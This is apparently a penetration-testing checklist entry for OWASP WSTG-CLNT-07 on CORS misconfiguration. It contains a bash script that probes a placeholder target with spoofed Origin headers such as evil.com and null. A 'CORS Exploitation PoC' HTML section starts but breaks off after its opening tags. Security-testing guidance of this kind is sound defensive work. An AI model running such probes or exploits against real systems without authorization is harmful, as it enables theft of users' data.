| name | wstg-clnt-07 |
| description | Testing for Cross-Origin Resource Sharing (CORS) |
| category | client-side |
| owasp_id | WSTG-CLNT-07 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | ["cors","javascript"] |
| cwe_ids | ["CWE-942"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
wstg-clnt-07
Test ID
WSTG-CLNT-07
Test Name
Testing for Cross-Origin Resource Sharing (CORS)
High-Level Description
CORS is a browser mechanism that allows controlled access to resources from different origins. Misconfigured CORS policies can allow malicious websites to read sensitive data from authenticated users, leading to data theft.
What to Check
How to Test
Step 1: Test CORS Headers
#!/bin/bash
TARGET="https://target.com/api/user"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"
curl -sI -H "Origin: https://sub.target.com" "$TARGET" | grep -i "access-control"
curl -sI -H "Origin: https://target.com.evil.com" "$TARGET" | grep -i "access-control"
Step 2: CORS Exploitation PoC
<!DOCTYPE html>
<html>
<>